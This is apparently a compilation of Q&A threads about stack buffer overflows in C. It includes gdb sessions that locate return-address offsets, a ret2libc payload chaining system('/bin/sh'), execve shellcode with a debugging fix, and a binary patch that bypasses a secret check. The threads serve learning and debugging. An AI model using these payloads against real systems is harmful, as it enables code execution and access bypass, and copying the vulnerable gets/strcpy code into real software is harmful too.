I would like to know how many bytes do we have to overflow to run a shellcode ?
int fun (char data[256]){
int i;
char *tmp;
strcpy(tmp,data);
}
It is known that:
If string chain *data is larger than *tmp then there will be overflow.
Otherwise there will be no buffer overflow.
*tmp isn't initialized, so you're usually going to segmentation fault anyway.
A better example would be to change char *tmp; to something like char tmp[64]; and have stuff (over 64 bytes of stuff in this case) from data be copied over to tmp. To answer your question from thereon out, you'll need to fire up a debugger like gdb after changing the code then see how far you can write out until you overwrite the RIP. On my system that's 78 bytes.
marshall#marshall-debian-testbed:~$ cat bof.c
int fun (char data[256]) {
int i;
char tmp[64];
strcpy(tmp,data);
}
int main (int argc, char *argv[]) {
fun(argv[1]);
return(0);
}
marshall#marshall-debian-testbed:~$ gcc bof.c -o bof
bof.c: In function ‘fun’:
bof.c:4:1: warning: implicit declaration of function ‘strcpy’ [-Wimplicit-function-declaration]
strcpy(tmp,data);
^~~~~~
bof.c:4:1: warning: incompatible implicit declaration of built-in function ‘strcpy’
bof.c:4:1: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
marshall#marshall-debian-testbed:~$ ./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
marshall#marshall-debian-testbed:~$ gdb ./bof
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./bof...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x00000000000006d2 <+0>: push %rbp
0x00000000000006d3 <+1>: mov %rsp,%rbp
0x00000000000006d6 <+4>: sub $0x10,%rsp
0x00000000000006da <+8>: mov %edi,-0x4(%rbp)
0x00000000000006dd <+11>: mov %rsi,-0x10(%rbp)
0x00000000000006e1 <+15>: mov -0x10(%rbp),%rax
0x00000000000006e5 <+19>: add $0x8,%rax
0x00000000000006e9 <+23>: mov (%rax),%rax
0x00000000000006ec <+26>: mov %rax,%rdi
0x00000000000006ef <+29>: callq 0x6b0 <fun>
0x00000000000006f4 <+34>: mov $0x0,%eax
0x00000000000006f9 <+39>: leaveq
0x00000000000006fa <+40>: retq
End of assembler dump.
(gdb) disas fun
Dump of assembler code for function fun:
0x00000000000006b0 <+0>: push %rbp
0x00000000000006b1 <+1>: mov %rsp,%rbp
0x00000000000006b4 <+4>: sub $0x50,%rsp
0x00000000000006b8 <+8>: mov %rdi,-0x48(%rbp)
0x00000000000006bc <+12>: mov -0x48(%rbp),%rdx
0x00000000000006c0 <+16>: lea -0x40(%rbp),%rax
0x00000000000006c4 <+20>: mov %rdx,%rsi
0x00000000000006c7 <+23>: mov %rax,%rdi
0x00000000000006ca <+26>: callq 0x560 <strcpy#plt>
0x00000000000006cf <+31>: nop
0x00000000000006d0 <+32>: leaveq
0x00000000000006d1 <+33>: retq
End of assembler dump.
(gdb) r `perl -e 'print "A"x78;'`
Starting program: /home/marshall/bof `perl -e 'print "A"x78;'`
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) info registers
rax 0x7fffffffdce0 140737488346336
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x414141 4276545
rsi 0x7fffffffe140 140737488347456
rdi 0x7fffffffdd23 140737488346403
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffdd30 0x7fffffffdd30
r8 0x555555554770 93824992233328
r9 0x7ffff7de99e0 140737351948768
r10 0x5b 91
r11 0x7ffff7b9ab28 140737349528360
r12 0x555555554580 93824992232832
r13 0x7fffffffde20 140737488346656
r14 0x0 0
r15 0x0 0
rip 0x414141414141 0x414141414141
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
makes general way for the compiler. This is an exam for a computer master. we must explain the 2 cases :
-when *tmp[200] for example and
-when *tmp[300] ie a case or *tmp larger than *data (no overflows) and *tmp smaller than *data (overflow)
how to know the number of bytes that are overwhelmed that the code executes ?
Related
I'm curious about how overwriting the stack is different in the main function than in other functions
Take this example:
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[8];
gets(buf);
}
In this code, the buffer to be overflowed is created in the main function, and as a result I receive this output from gdb after entering in a lot of 'A's:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x5655620c in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) info registers eip
eip 0x5655620c 0x5655620c <main+63>
Disassembly for main:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: lea ecx,[esp+0x4]
0x000011d5 <+8>: and esp,0xfffffff0
0x000011d8 <+11>: push DWORD PTR [ecx-0x4]
0x000011db <+14>: push ebp
0x000011dc <+15>: mov ebp,esp
0x000011de <+17>: push ebx
0x000011df <+18>: push ecx
0x000011e0 <+19>: sub esp,0x10
0x000011e3 <+22>: call 0x120d <__x86.get_pc_thunk.ax>
0x000011e8 <+27>: add eax,0x2df0
0x000011ed <+32>: sub esp,0xc
0x000011f0 <+35>: lea edx,[ebp-0x10]
0x000011f3 <+38>: push edx
0x000011f4 <+39>: mov ebx,eax
0x000011f6 <+41>: call 0x1070 <gets#plt>
0x000011fb <+46>: add esp,0x10
0x000011fe <+49>: mov eax,0x0
0x00001203 <+54>: lea esp,[ebp-0x8]
0x00001206 <+57>: pop ecx
0x00001207 <+58>: pop ebx
0x00001208 <+59>: pop ebp
0x00001209 <+60>: lea esp,[ecx-0x4]
0x0000120c <+63>: ret
Here, the EIP register was not overwritten and apparently gdb cannot access memory at an overwritten address.
Whereas in this example where the buffer stuff is written in another function:
#include <stdio.h>
void over() {
char buf[8];
gets(buf);
}
int main(int argc, char *argv[])
{
over();
}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers eip
eip 0x41414141 0x41414141
Disassembly for main:
0x000011f9 <+0>: endbr32
0x000011fd <+4>: push ebp
0x000011fe <+5>: mov ebp,esp
0x00001200 <+7>: and esp,0xfffffff0
0x00001203 <+10>: call 0x1219 <__x86.get_pc_thunk.ax>
0x00001208 <+15>: add eax,0x2dd0
0x0000120d <+20>: call 0x11cd <over>
0x00001212 <+25>: mov eax,0x0
0x00001217 <+30>: leave
0x00001218 <+31>: ret
Disassembly for over:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: push ebp
0x000011d2 <+5>: mov ebp,esp
0x000011d4 <+7>: push ebx
0x000011d5 <+8>: sub esp,0x14
0x000011d8 <+11>: call 0x1219 <__x86.get_pc_thunk.ax>
0x000011dd <+16>: add eax,0x2dfb
0x000011e2 <+21>: sub esp,0xc
0x000011e5 <+24>: lea edx,[ebp-0x10]
0x000011e8 <+27>: push edx
0x000011e9 <+28>: mov ebx,eax
0x000011eb <+30>: call 0x1070 <gets#plt>
0x000011f0 <+35>: add esp,0x10
0x000011f3 <+38>: nop
0x000011f4 <+39>: mov ebx,DWORD PTR [ebp-0x4]
0x000011f7 <+42>: leave
0x000011f8 <+43>: ret
A slightly different message is provided and the EIP is overwritten
Why does this make a difference? Why is the EIP not overwritten when the buffer is created in the main function?
I am using: gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
And compiled with: gcc -m32 -g -fno-stack-protector source.c -o vuln -z execstack
The difference is pretty arbitrary. The exact prologue/epilogue instruction sequence generated by GCC is different for over() in the second example than it is for main() in the first example. So it crashes it a very different way, from a debugger's point of view. After single-stepping in GDB, you can see why, and I have just killed some time doing so.
The stack is thoroughly corrupt upon returning from gets(), so all bets are off, but anyway, here goes. I run the first example, setting a breakpoint immediately after returning from the call to gets():
(gdb) disassemble main
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) b *0x08048448
Breakpoint 1 at 0x8048448: file source.c, line 6.
(gdb)
Now continue to enter some garbage, hit the breakpoint, and start single-stepping:
(gdb) r
Starting program: /home/lstrand/tmp/vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
6 gets(buf);
(gdb) disassemble
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
=> 0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) bt
#0 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) stepi
0x0804844b 6 gets(buf);
(gdb)
7 }
(gdb)
0x08048453 7 }
(gdb)
0x08048454 7 }
(gdb)
0x08048457 7 }
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) bt
#0 0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) info reg
eax 0x0 0
ecx 0x41414141 1094795585
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x8048457 0x8048457 <main+44>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
Here, we die on the ret instruction in main() because the stack pointer esp has the bad value 0x4141413d. GDB correctly pinpoints the failing instruction as being in main().
But what happens in the over() case? Let's take a look:
lstrand#styx:~/tmp$ gdb ./vuln2
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln2...done.
(gdb) disassemble over
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) b *0x0804843d
Breakpoint 1 at 0x804843d: file source2.c, line 5.
(gdb) r
Starting program: /home/lstrand/tmp/vuln2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Breakpoint 1, 0x0804843d in over () at source2.c:5
5 gets(buf);
(gdb) disassemble
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
=> 0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd180 0xffffd180
ebp 0xffffd1a8 0xffffd1a8
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x804843d 0x804843d <over+18>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
6 }
(gdb)
0x08048441 6 }
(gdb)
0x08048442 6 }
(gdb) stepi
0x41414141 in ?? ()
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd1b0 0xffffd1b0
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Note the subtle difference here. In this case, the epilogue code unwinds %esp with simple arithetic: "add $0x10,%esp" (as opposed to restoring it from the stack, as in the first case). The 'leave' instruction puts garbage into the frame pointer %ebp, but the new %esp value obtained from %ebp is still valid. Then the ret instruction sucessfully executes, leaving us a bad ip, 0x41414141. And then the program dies with SIGSEGV trying to read an instruction from nowhere.
In this case, GDB has no hope of unwinding the stack:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
#3 0x41414141 in ?? ()
#4 0x41414141 in ?? ()
#5 0xf7006141 in ?? ()
#6 0xf7fa4000 in ?? () from /lib/i386-linux-gnu/libc.so.6
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb)
Recall in the first case, the program died on the ret instruction itself because %esp was already bad. In the first case GDB can still find where the program is, but in the second case it cannot.
I performed ret2libc but ended in segfault in 0x0000000000000000. The vulnerable proagram is
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
char buf[10];
gets(buf);
printf("%s\n",buf);
}
int main()
{
get();
printf("Done\n");
return 1;
}
The disassembly from gdb is
(gdb) disass main
Dump of assembler code for function main:
0x000055555555516d <+0>: push rbp
0x000055555555516e <+1>: mov rbp,rsp
0x0000555555555171 <+4>: mov eax,0x0
0x0000555555555176 <+9>: call 0x555555555145 <get>
0x000055555555517b <+14>: lea rdi,[rip+0xe82] # 0x555555556004
0x0000555555555182 <+21>: call 0x555555555030 <puts#plt>
0x0000555555555187 <+26>: mov eax,0x1
0x000055555555518c <+31>: pop rbp
0x000055555555518d <+32>: ret
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
0x0000555555555145 <+0>: push rbp
0x0000555555555146 <+1>: mov rbp,rsp
0x0000555555555149 <+4>: sub rsp,0x10
0x000055555555514d <+8>: lea rax,[rbp-0xa]
0x0000555555555151 <+12>: mov rdi,rax
0x0000555555555154 <+15>: mov eax,0x0
0x0000555555555159 <+20>: call 0x555555555040 <gets#plt>
0x000055555555515e <+25>: lea rax,[rbp-0xa]
0x0000555555555162 <+29>: mov rdi,rax
0x0000555555555165 <+32>: call 0x555555555030 <puts#plt>
0x000055555555516a <+37>: nop
0x000055555555516b <+38>: leave
0x000055555555516c <+39>: ret
End of assembler dump.
I used radare2 to find the gadget pop rdi;ret which is located at 0x7ffff7e1d7de. /bin/sh is located at 0x7ffff7f7f1ac and system() is located at 0x7ffff7e3f8a0
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Breakpoint 1, main () at exploit.c:12
12 get();
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2964]
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
The registers are
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x7fffffffde88 140737488346760
rdi 0x2 2
rbp 0x4242424242424242 0x4242424242424242
rsp 0x7fffffffe1b8 0x7fffffffe1b8
r8 0x0 0
r9 0x0 0
r10 0x8 8
r11 0x246 582
r12 0x555555555060 93824992235616
r13 0x7fffffffe280 140737488347776
r14 0x0 0
r15 0x0 0
rip 0x0 0x0
eflags 0x10216 [ PF AF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
I use a 64-bit machine.The program was compiled using gcc -ggdb -Wall -fno-stack-protector -o a exploit.c. Also I disabled aslr manually.
Why did it end in segfault?
The message
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
means that your program has jumped to address 0 (that is, the %pc is 0), which is an invalid address. This is probably due to executing a ret instruction when the value on the top of the stack is 0.
You also see the message
[Detaching after vfork from child process 2964]
which likely means the system function is being called, but for whatever reason is not doing what you expect it to do.
To debug this sort of thing, you need to carefully step through the code one instruction at a time using si commmand (and occasional ni to skip over calls)
This question already has an answer here:
Testing Shellcode From C - Bus Error 10
(1 answer)
Closed 6 years ago.
If I just execute shell code program It makes segmentation fault like this
desktop:~$ ./sh02
Segmentaion fault (core dumped)
But, when I debug this program with GDB, this program executes /bin/sh successfully
(gdb) disass 0x4005a0
No function contains specified address.
(gdb) shell ps
PID TTY TIME CMD
4075 pts/4 00:00:00 bash
4099 pts/4 00:00:00 gdb
4101 pts/4 00:00:00 sh
4107 pts/4 00:00:00 ps
(gdb)
After debugging with GDB, this program works well ...
I can't find difference between them
Why I can't run /bin/sh via sh02 program before debugging?
const char str[]=
"\x55"
"\x48\x89\xe5"
"\x48\x31\xff"
"\x57"
"\x57"
"\x5e"
"\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e"
"\x2f\x73\x68"
"\x57"
"\x54"
"\x5f"
"\x6a\x3b"
"\x58"
"\x0f\x05"
"\x90"
"\x5d"
"\xc3";
int main()
{
int (*func)();
func = (int (*)()) str;
(int)(*func)();
}
Above is sh02.c code.
I read that questions and answers. But I think my case is little bit different. During debugging with GDB and after debugging sh02 program execute /bin/sh successfully. However only before debugging, it makes segmentation fault
I use Ubuntu 16.04 and x64 architecture
When undefined behavior is invoked the program may crash or not crash (by luck). The program does not null terminate the string sent to exec, the results are undefined.
Try this:
"\x48\xbf\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00"
Note that I dropped the extra '/' and added the '\0' at the end of the string.
I was able to determine the issue by using gdb.
Here is the session perhaps this will help you to learn assembly debugging.
parallels#ubuntu:/tmp$ gcc -g -fno-stack-protector -z execstack -o shellcode shellcode2.c
parallels#ubuntu:/tmp$ gdb ./shellcode
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
...
Reading symbols from ./shellcode...done.
(gdb) b main
Breakpoint 1 at 0x4004f5: file shellcode2.c, line 25.
(gdb) r
Starting program: /tmp/shellcode
Breakpoint 1, main () at shellcode2.c:25
25 func = (int (*)()) str;
(gdb) n
27 (int)(*func)();
(gdb) stepi
0x0000000000400501 27 (int)(*func)();
(gdb) stepi
0x0000000000400506 27 (int)(*func)();
(gdb) stepi
0x00000000004005c0 in str ()
(gdb) disass
Dump of assembler code for function str:
=> 0x00000000004005c0 <+0>: push %rbp
0x00000000004005c1 <+1>: mov %rsp,%rbp
0x00000000004005c4 <+4>: xor %rdi,%rdi
0x00000000004005c7 <+7>: push %rdi
0x00000000004005c8 <+8>: push %rdi
0x00000000004005c9 <+9>: pop %rsi
0x00000000004005ca <+10>: pop %rdx
0x00000000004005cb <+11>: movabs $0x68732f6e69622f2f,%rdi
0x00000000004005d5 <+21>: push %rdi
0x00000000004005d6 <+22>: push %rsp
0x00000000004005d7 <+23>: pop %rdi
0x00000000004005d8 <+24>: pushq $0x3b
0x00000000004005da <+26>: pop %rax
0x00000000004005db <+27>: syscall
0x00000000004005dd <+29>: nop
0x00000000004005de <+30>: pop %rbp
0x00000000004005df <+31>: retq
0x00000000004005e0 <+32>: add %al,(%rax)
End of assembler dump.
(gdb) b *0x4005db
Breakpoint 2 at 0x4005db
(gdb) c
Continuing.
Breakpoint 2, 0x00000000004005db in str ()
(gdb) info reg
rax 0x3b 59
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x0 0
rdi 0x7fffffffdef8 140737488346872
rbp 0x7fffffffdf00 0x7fffffffdf00
rsp 0x7fffffffdef8 0x7fffffffdef8
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7dea560 140737351951712
r10 0x7fffffffddb0 140737488346544
r11 0x7ffff7a36dd0 140737348070864
r12 0x400400 4195328
r13 0x7fffffffe000 140737488347136
r14 0x0 0
r15 0x0 0
rip 0x4005db 0x4005db <str+27>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) p (char*) $rdi
$1 = 0x7fffffffdef8 "//bin/sh \337\377\377\377\177"
As you can see the string has an extra '/' and no NULL terminator. A simple two character fix and all is well.
Hello i have such code
#include <stdio.h>
#define SECRET "1234567890AZXCVBNFRT"
int checksecret(){
char buf[32];
gets(buf);
if(strcmp(SECRET,buf)==0) return 1;
else return 0;
}
void outsecret(){
printf("%s\n",SECRET);
}
int main(int argc, char** argv){
if (checksecret()){
outsecret();
};
}
disass of outsecret
(gdb) disassemble outsecret
Dump of assembler code for function outsecret:
0x00000000004005f4 <+0>: push %rbp
0x00000000004005f5 <+1>: mov %rsp,%rbp
0x00000000004005f8 <+4>: mov $0x4006b4,%edi
0x00000000004005fd <+9>: callq 0x400480 <puts#plt>
0x0000000000400602 <+14>: pop %rbp
0x0000000000400603 <+15>: retq
I have an assumption that i don't know SECRET, so i try to run my program with such string python -c 'print "A" * 32 + "\x40\x05\xf4"[::-1]'. But it fails with segmentation fault. What i am doing wrong? Thank you for any help.
PS
I want to call function outsecret by overwriting return code in checksecret
You have to remember that all strings have an extra character that terminates the string, so if you input 32 characters then gets will write 33 characters to the buffer. Writing beyond the limits of an array leads to undefined behavior which often leads to crashes.
The gets function have no bounds-checking, and is very dangerous to use. It has been deprecated since long, and in the latest C11 standard it has even been removed.
$ python -c 'print "A" * 32 + "\x40\x05\xf4"[::1]'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#
$ perl -le 'print length("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#")'
33
Your input string is too long for buffer size of 32 characters (extra one is needed for '\0' terminating null character). You are victim to buffer or array overflow (sometimes also called as array overrun).
Note that gets() is deprecated in C99 and eventually it has been dropped in C11 Standard for security reasons.
I want to call function outsecret by overwriting return code in
checksecret
Beware, you are about to leave relatively safe regions of C Standard. This means that behaviour is relative to compiler, compiler's versions, optimization settings, ABI and so on (maybe inclucing current phase of moon).
As of x86 calling conventions integer return value is stored directly in %eax register (that's assuming that you have x86 or x86-64 CPU). Stack-likely-located array buf is handled by %rbp offsets within current stack frame. Let's consult with gdb disassemble command:
$ gcc -O0 test.c
$ gdb -q a.out
(gdb) b checksecret
(gdb) r
Breakpoint 1, 0x0000000000400631 in checksecret ()
(gdb) disas
Dump of assembler code for function checksecret:
0x000000000040062d <+0>: push %rbp
0x000000000040062e <+1>: mov %rsp,%rbp
=> 0x0000000000400631 <+4>: sub $0x30,%rsp
0x0000000000400635 <+8>: mov %fs:0x28,%rax
0x000000000040063e <+17>: mov %rax,-0x8(%rbp)
0x0000000000400642 <+21>: xor %eax,%eax
0x0000000000400644 <+23>: lea -0x30(%rbp),%rax
0x0000000000400648 <+27>: mov %rax,%rdi
0x000000000040064b <+30>: callq 0x400530 <gets#plt>
0x0000000000400650 <+35>: lea -0x30(%rbp),%rax
0x0000000000400654 <+39>: mov %rax,%rsi
0x0000000000400657 <+42>: mov $0x400744,%edi
0x000000000040065c <+47>: callq 0x400510 <strcmp#plt>
0x0000000000400661 <+52>: test %eax,%eax
0x0000000000400663 <+54>: jne 0x40066c <checksecret+63>
0x0000000000400665 <+56>: mov $0x1,%eax
0x000000000040066a <+61>: jmp 0x400671 <checksecret+68>
0x000000000040066c <+63>: mov $0x0,%eax
0x0000000000400671 <+68>: mov -0x8(%rbp),%rdx
0x0000000000400675 <+72>: xor %fs:0x28,%rdx
0x000000000040067e <+81>: je 0x400685 <checksecret+88>
0x0000000000400680 <+83>: callq 0x4004f0 <__stack_chk_fail#plt>
0x0000000000400685 <+88>: leaveq
0x0000000000400686 <+89>: retq
There is no way overwrite %eax directly from C code, but what you could do is to overwrite selective fragment of code section. In your case what you want is to replace:
0x000000000040066c <+63>: mov $0x0,%eax
with
0x000000000040066c <+63>: mov $0x1,%eax
It's easy to accomplish by gdb itself:
(gdb) x/2bx 0x40066c
0x40066c <checksecret+63>: 0xb8 0x00
set {unsigned char}0x40066d = 1
Now let's confirm it:
(gdb) x/i 0x40066c
0x40066c <checksecret+63>: mov $0x1,%eax
From that point checksecret() is returning 1 even if SECRET does not match. However It wouldn't be so easy to do it by buf itself, as you need to know (guess somehow?) correct offset of particular code section instruction.
Above answers are pretty clear and corret way to exploit buffer overflow vulnerability. But there is a different way to do same thing without exploit vulnerability.
mince#rootlab tmp $ gcc test.c -o test
mince#rootlab tmp $ strings test
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
puts
__stack_chk_fail
strcmp
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-X
UH-X
[]A\A]A^A_
1234567890AZXCVBNFRT
;*3$
Please look at last 2 row. You will see your secret key in there.
I have just started learning reverse engineering (self study). I know assembly upto some understandable point. Basic instructions that pop up after disasassembling the C code are almost understandable to me (like- what does each instruction mean). Since it is beginning, somebody might feel these like dumb questions, and can plz suggest some good e-book on basics of reversing, so that i could stop asking noob questions. Well, the query is:-
Here is a simple C code
#include<stdio.h>
int main(void)
{
printf("hello world");
}
and followed is the disassembled code of main.
0x004013b0 <+0>: push %ebp //saves ebp to stack
0x004013b1 <+1>: mov %esp,%ebp //saves esp onto ebp
0x004013b3 <+3>: and $0xfffffff0,%esp //alignong the stack
0x004013b6 <+6>: sub $0x10,%esp //creating 16 bytes on stack
0x004013b9 <+9>: call 0x401980 <__main> //main call
0x004013be <+14>: movl $0x403064,(%esp) ?? what is it exactly doing??
0x004013c5 <+21>: call 0x401bf0 <printf> //print call
0x004013ca <+26>: leave
0x004013cb <+27>: ret
Here i couldn't understand what it is doing (although it seems like the contents in 0x403064 is copied in stack at esp)- movl $0x403064,(%esp)
In this assembly code I need to know where is "hello world" stored?
Also if somebody could suggest me some good readings in order to learn reversing from basics. Thanks in advance.
printf awaits its parameters in this case on the stack. The address where your string is stored in the memory is $0x403064. So you can see the instruction
movl $0x403064,(%esp)
copies this address on the stack (please note the braces around esp).
To be honest, this is not the usual way. But your program is so simple and therefore the compiler does some micro optimization. This helps to skip some machine instructions. In general one would use some kind of combination of lea and push instructions to copy the address to the stack and later after the call (in the cdecl calling convention which we have here) it is usual to use an add instruction to correct theesp afterwards.
EDIT:
Following a debugging sessien with gdb, im using the command x/sb 0x403064 to show the string in memory.
GNU gdb (GDB) 7.5
